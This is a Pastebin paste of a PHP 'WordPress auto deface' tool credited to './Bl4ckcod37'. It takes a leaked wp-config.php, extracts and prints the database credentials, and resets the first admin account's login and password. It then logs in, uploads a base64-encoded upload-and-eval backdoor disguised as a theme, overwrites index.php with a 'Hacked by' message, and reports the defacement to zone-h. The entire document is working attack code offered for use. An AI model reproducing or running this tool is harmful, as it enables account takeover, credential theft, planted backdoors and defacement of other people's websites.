blackcode7

Wordpress auto deface

Jan 30th, 2016
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.22 KB | None | 0 0
  1. <title>Wordpress Auto deface</title>
  2. <body style="background-color:#2ECC71">
  3. <style type="text/css">
  4. input{
  5.     border: 1px solid;
  6.     overflow: hidden;
  7.     background: #2e2b28;
  8.     color: white;
  9.     -moz-border-radius: 5px;
  10. -webkit-border-radius: 5px;
  11. border-radius: 5px;
  12. }
  13. .Header {
  14. background: #29447E;
  15. text-align:center;
  16. padding:10px; color:
  17. #fff; font-weight:bold;
  18. }
  19. textarea{
  20.     border: 1px solid;
  21.     overflow: hidden;
  22.     background: #29447E;
  23.     color: #29447E;
  24.     -moz-border-radius: 5px;
  25. -webkit-border-radius: 5px;
  26. border-radius: 5px;
  27. }
  28. </style>
  29.     </head>
  30. <body>
  31.             <div class="Header">Wordpress Auto Deface</div>
  32.                         <table>
  33.                             <tr><td><form method="post"></td></tr>
  34.                             <tr><td align="right" style="width:5%;"><textarea placeholder="Content of wp-config.php" style="padding: 5px; resize: none; width: 500px; height: 250px; border: solid 1px #eceff5; background: #29447E; padding: 10px; margin: 0; text-align: justify; line-height: px; color: white; font-size: 15px" name="link"></textarea><td><tr>
  35.                             <tr><td><input type="text" style="border: solid 1px #eceff5; background: #29447E; padding: 3px; margin: 0; text-align: justify; line-height: ; color: white; font-size: ; width: 500px; height: 35px;" name="lunk" placeholder="http://indonesiaislamic.com/Black_Grab/k54525-wp-config.php"></td>
  36.                             <tr><td><input type="text" style="border: solid 1px #eceff5; background: #29447E; padding: 3px; margin: 0; text-align: justify; line-height: ; color: white; font-size: ; width: 300px; height: 35px;" name="hack" value="Hacked by ./Bl4ckcod37 | RES7OCK CREW"><input style="width:40%; height:37px;" type="submit" value="Exploit!"></td></tr><br>
  37.                             </form>
  38.                         </table>
  39.                        
  40.            
  41.  
  42.     </body>
  43. </html>
  44. <?php
  45. // Original code by Tu5b0l3d
  46. // Recoded by ./Bl4ckcod37
  47. // Thanks to Allah SWT , INDO}{PLOIT
  48.  
  49. error_reporting(0);
  50.     if($_POST){
  51.  
  52.         function ambilKata($param, $kata1, $kata2){
  53.     if(strpos($param, $kata1) === FALSE) return FALSE;
  54.     if(strpos($param, $kata2) === FALSE) return FALSE;
  55.     $start = strpos($param, $kata1) + strlen($kata1);
  56.     $end = strpos($param, $kata2, $start);
  57.     $return = substr($param, $start, $end - $start);
  58.     return $return;
  59. }
  60.  
  61.     function anucurl($sites){
  62.         $ch1 = curl_init ("$sites");
  63. curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  64. curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
  65. curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  66. curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  67. curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  68. curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  69. curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
  70. curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
  71. $data = curl_exec ($ch1);
  72. return $data;
  73.     }
  74.     function save($data){
  75.         $fp = @fopen("IndoXploit.htm", "a") or die("cant open file");
  76.         fwrite($fp, $data);
  77.         fclose($fp);
  78. }
  79.  
  80.     function lohgin($cek, $web, $userr, $pass){
  81.         $post = array(
  82.                     "log" => "$userr",
  83.                     "pwd" => "$pass",
  84.                     "rememberme" => "forever",
  85.                     "wp-submit" => "Log In",
  86.                     "redirect_to" => "$web/wp-admin/",
  87.                     "testcookie" => "1",
  88.                     );
  89. $ch = curl_init ("$cek");
  90. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  91. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  92. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  93. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  94. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  95. curl_setopt ($ch, CURLOPT_POST, 1);
  96. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  97. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  98. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  99. $data6 = curl_exec ($ch);
  100. return $data6;
  101.     }
  102.         $pemilik ="./Bl4ckcod37";
  103.         $jones ="http://www.zone-h.com/notify/single";
  104.         $script ="Hacked by ./Bl4ckcod37 | RES7OCK CREW";
  105.         $lunk = $_POST['lunk'];
  106.         $link = $_POST['link'];
  107.         $gas = $_POST['hack'];
  108.         if($lunk==""){
  109.             $host = ambilkata($link,"DB_HOST', '","'");
  110.                     $username = ambilkata($link,"DB_USER', '","'");
  111.                     $password = ambilkata($link,"DB_PASSWORD', '","'");
  112.                     $db = ambilkata($link,"DB_NAME', '","'");
  113.                     $dbprefix = ambilkata($link,"table_prefix  = '","'");
  114.                     $user_baru = "xxx";
  115.                     $password_baru = "xxx";
  116.                     $prefix = $db.".".$dbprefix."users";
  117.                     $sue = $db.".".$dbprefix."options";
  118.                     $pass = md5("$password_baru");
  119.                     echo "Database Content :<br>";
  120.                     echo " &nbsp Db Host&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: $host<br>";
  121.                     echo " &nbsp Db user&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: $username<br>";
  122.                     echo " &nbsp Db Password&nbsp: $password<br>";
  123.                     echo " &nbsp Db name&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp : $db<br>";
  124.                     echo " &nbsp Table_Prefix&nbsp: $dbprefix<br>";    
  125.  
  126.         mysql_connect($host,$username,$password) or die("<font color='red'>Gagal masuk Database ..</font>");
  127.         mysql_select_db($db) or die("<font color='red'>Database tidak dapat dibuka .. </font>");
  128. $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  129. $r=mysql_fetch_array($tampil);
  130. $id = $r[ID];
  131. $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
  132.         $r2=mysql_fetch_array($tampil2);
  133.         $target = $r2[option_value];
  134.          echo "$target<br>";
  135. mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
  136.  
  137.  
  138.  
  139.    
  140.  
  141. $site= "$target/wp-login.php";
  142. $site2= "$target/wp-admin/theme-install.php?upload";
  143. $a = lohgin($site, $target, $user_baru, $password_baru);
  144. $b = lohgin($site2, $target, $user_baru, $password_baru);
  145.            
  146.  
  147. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  148. echo "token : $anu2<br>";
  149.  
  150.  
  151. $upload3 = base64_decode("c3Vrc2VzISEhIQ0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQoNCj8+DQo8P3BocA0KaWYoJF9HRVRbJ3JlcyddID09ICc3Jyl7DQokYTEgPSANCiANCidaV05vYnlBblBHTmxiblJsY2o1UVNGQWdWVzVoYldVZ09pQThZajRuT3cwS1pXTm9ieUJ3YUhCZmRXNWhiV1VvS1RzTkNtVmphRzhnSnp3dllqNG5PdzBLWldOb2J5QW5QR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JtRnRaVDBpZFhCc2IyRmtaWElpSUdsa1BTSjFjR3h2WVdSbGNpSStKenNOQ21WamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kxTUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUEwS0RRcDJZV3gxWlQwaVZYQnNiMkZrSWo0OFluSStQR1p2Ym5RZ1kyOXNiM0k5STBaR1JqNUdWa05MUEM5bWIyNTBQand2Wm05eWJUNG5PdzBLYVdZb0lDUmZVRTlUVkZzblgzVndiQ2RkSUQwOUlDSlZjR3h2WVdRaUlDa2dldzBLQ1dsbUtFQmpiM0I1S0NSZlJrbE1SVk5iSjJacGJHVW5YVnNuZEcxd1gyNWhiV1VuWFN3Z0pGOUdTVXhGVTFzblptbHNaU2RkV3lkdVlXMWxKMTBwS1NCN0lHVmphRzhnSjFWd2JHOWhaQ0JUZFdOalpYTnpJQ0VoSnpzZ2ZRMEtDV1ZzYzJVZ2V5QmxZMmh2SUNkVmNHeHZZV1FnUm1GcGJDQWhJU2M3SUgwTkNuME5DbVZqYUc4Z0p6d3ZZMlZ1ZEdWeVBpYzcnOw0KICAgIGV2YWwoYmFzZTY0X2RlY29kZSgkYTEpKTsNCn0NCj8+");
  152.  
  153. $www = "m.php";
  154. $fp5 = fopen($www,"w");
  155. fputs($fp5,$upload3);
  156.    
  157.   $post2 = array(
  158.                     "_wpnonce" => "$anu2",
  159.                     "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  160.                     "themezip" => "@$www",
  161.                     "install-theme-submit" => "Install Now",
  162.                     );
  163. $ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
  164. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  165. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  166. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  167. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  168. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  169. curl_setopt ($ch, CURLOPT_POST, 1);
  170. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
  171. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  172. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  173. $data3 = curl_exec ($ch);
  174.  
  175. $y = date("Y");
  176. $m = date("m");
  177.  
  178. $namafile = "id.php";
  179. $fpi = fopen($namafile,"w");
  180. fputs($fpi,$script);
  181.  
  182. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  183. curl_setopt($ch6, CURLOPT_POST, true);
  184. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  185. array('file3'=>"@$namafile"));
  186. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  187. curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
  188. $postResult = curl_exec($ch6);
  189. curl_close($ch6);
  190.  
  191. $as = "$target/k.php";
  192. $bs = anucurl($as);
  193.  if(preg_match("#hacked#si",$bs)){
  194.                         echo "<font color='green'>Berhasil deface...</font><br>";
  195.                         echo "$as<br>";
  196.                         echo "Zone-h: ";
  197.                         $ch3 = curl_init ("$jones");
  198.                         curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  199.                         curl_setopt ($ch3, CURLOPT_POST, 1);
  200.                         curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=$pemilik&domain1=$as&hackmode=1&reason=1");
  201.                        
  202.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
  203.                 echo  " Ok  <br><br>";
  204.         }else{
  205.                 echo " No <br><br>";}
  206.                     }
  207.                      
  208.                     else{
  209.                         echo "<font color='red'>Gagal deface...</font><br>";
  210.                         echo "Manual deface: <br>";
  211.                         echo "$target/wp-login.php<br>";
  212.                         echo "Username: $user_baru<br>";
  213.                         echo "Password: $password_baru<br>";
  214.  
  215.                        
  216.                     }
  217.                 }
  218.  
  219.         }
  220.         if($link==""){
  221.             $file = anucurl($lunk);
  222.  
  223.         $host = ambilkata($file,"DB_HOST', '","'");
  224.                     $username = ambilkata($file,"DB_USER', '","'");
  225.                     $password = ambilkata($file,"DB_PASSWORD', '","'");
  226.                     $db = ambilkata($file,"DB_NAME', '","'");
  227.                     $dbprefix = ambilkata($file,"table_prefix  = '","'");
  228.                     $user_baru = "xxx";
  229.                     $password_baru = "xxx";
  230.                     $prefix = $db.".".$dbprefix."users";
  231.                     $sue = $db.".".$dbprefix."options";
  232.                     $pass = md5("$password_baru");
  233.                    
  234.  
  235.  
  236.                     echo "Database Content :<br>";
  237.                     echo " &nbsp Db Host&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: $host<br>";
  238.                     echo " &nbsp Db user&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: $username<br>";
  239.                     echo " &nbsp Db Password&nbsp: $password<br>";
  240.                     echo " &nbsp Db name&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp : $db<br>";
  241.                     echo " &nbsp Table_Prefix&nbsp: $dbprefix<br>";    
  242.  
  243.         mysql_connect($host,$username,$password) or die("<font color='red'>Gagal masuk Database ..</font>");
  244.         mysql_select_db($db) or die("<font color='red'>Database tidak dapat dibuka .. </font>");
  245.  
  246.         $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  247.            $r=mysql_fetch_array($tampil);
  248.         $id = $r[ID];
  249.  
  250.         $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
  251.            $r2=mysql_fetch_array($tampil2);
  252.         $target = $r2[option_value];
  253.          echo "# $target<br>";
  254.        
  255.  
  256.          mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
  257.  
  258.  
  259.  
  260.    
  261.  
  262. $site= "$target/wp-login.php";
  263. $site2= "$target/wp-admin/theme-install.php?upload";
  264. $a = lohgin($site, $target, $user_baru, $password_baru);
  265. $b = lohgin($site2, $target, $user_baru, $password_baru);
  266.            
  267.  
  268. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  269. echo "# token -> $anu2<br>";
  270.  
  271.  
  272. $upload3 = base64_decode("c3Vrc2VzISEhIQ0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iaW5kZXgucGhwIjsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKSkgdW5saW5rKCIuLi8uLi8uLi8uLi8iLiRuZXdmaWxlMyk7DQogICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZTNbJ3RtcF9uYW1lJ10sICIuLi8uLi8uLi8uLi8kbmV3ZmlsZTMiKTsNCg0KDQo/Pg0KPD9waHANCmlmKCRfR0VUWydyZXMnXSA9PSAnNycpew0KJGExID0gDQogDQonWldOb2J5QW5QR05sYm5SbGNqNVFTRkFnVlc1aGJXVWdPaUE4WWo0bk93MEtaV05vYnlCd2FIQmZkVzVoYldVb0tUc05DbVZqYUc4Z0p6d3ZZajRuT3cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNtVmphRzhnSnp4cGJuQjFkQ0IwZVhCbFBTSm1hV3hsSWlCdVlXMWxQU0ptYVd4bElpQnphWHBsUFNJMU1DSStQR2x1Y0hWMElHNWhiV1U5SWw5MWNHd2lJSFI1Y0dVOUluTjFZbTFwZENJZ2FXUTlJbDkxY0d3aUlBMEtEUXAyWVd4MVpUMGlWWEJzYjJGa0lqNDhZbkkrUEdadmJuUWdZMjlzYjNJOUkwWkdSajVHVmtOTFBDOW1iMjUwUGp3dlptOXliVDRuT3cwS2FXWW9JQ1JmVUU5VFZGc25YM1Z3YkNkZElEMDlJQ0pWY0d4dllXUWlJQ2tnZXcwS0NXbG1LRUJqYjNCNUtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmRHMXdYMjVoYldVblhTd2dKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdJR1ZqYUc4Z0oxVndiRzloWkNCVGRXTmpaWE56SUNFaEp6c2dmUTBLQ1dWc2MyVWdleUJsWTJodklDZFZjR3h2WVdRZ1JtRnBiQ0FoSVNjN0lIME5DbjBOQ21WamFHOGdKend2WTJWdWRHVnlQaWM3JzsNCiAgICBldmFsKGJhc2U2NF9kZWNvZGUoJGExKSk7DQp9DQo/Pg==");
  273.  
  274. $www = "m.php";
  275. $fp5 = fopen($www,"w");
  276. fputs($fp5,$upload3);
  277.    
  278.   $post2 = array(
  279.                     "_wpnonce" => "$anu2",
  280.                     "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  281.                     "themezip" => "@$www",
  282.                     "install-theme-submit" => "Install Now",
  283.                     );
  284. $ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
  285. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  286. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  287. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  288. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  289. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  290. curl_setopt ($ch, CURLOPT_POST, 1);
  291. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
  292. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  293. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  294. $data3 = curl_exec ($ch);
  295.  
  296. $y = date("Y");
  297. $m = date("m");
  298.  
  299. $namafile = "index.php";
  300. $fpi = fopen($namafile,"w");
  301. fputs($fpi,$script);
  302.  
  303. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  304. curl_setopt($ch6, CURLOPT_POST, true);
  305. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  306. array('file3'=>"@$namafile"));
  307. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  308. curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
  309. $postResult = curl_exec($ch6);
  310. curl_close($ch6);
  311.  
  312. $as = "$target/index.php";
  313. $bs = anucurl($as);
  314. if(preg_match("#hacked#si",$bs)){
  315.                         echo "<font color='green'>Berhasil deface...</font><br>";
  316.                         echo "$as<br>";
  317.                         echo "Zone-h: ";
  318.                         $ch3 = curl_init ("$jones");
  319.                         curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  320.                         curl_setopt ($ch3, CURLOPT_POST, 1);
  321.                         curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=$pemilik&domain1=$as&hackmode=1&reason=1");
  322.                        
  323.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
  324.                 echo  " Ok  <br><br>";
  325.         }else{
  326.                 echo " No <br><br>";}
  327.                     }
  328.                      
  329.                     else{
  330.                         echo "<font color='red'>Gagal deface...</font><br>";
  331.                         echo "Manual deface: <br>";
  332.                         echo "$target/wp-login.php<br>";
  333.                         echo "Username: $user_baru<br>";
  334.                         echo "Password: $password_baru<br>";
  335.  
  336.                        
  337.                     }
  338.                 }
  339.  
  340.  
  341.  
  342.  
  343.  
  344.     ?>
Add Comment
Please, Sign In to add comment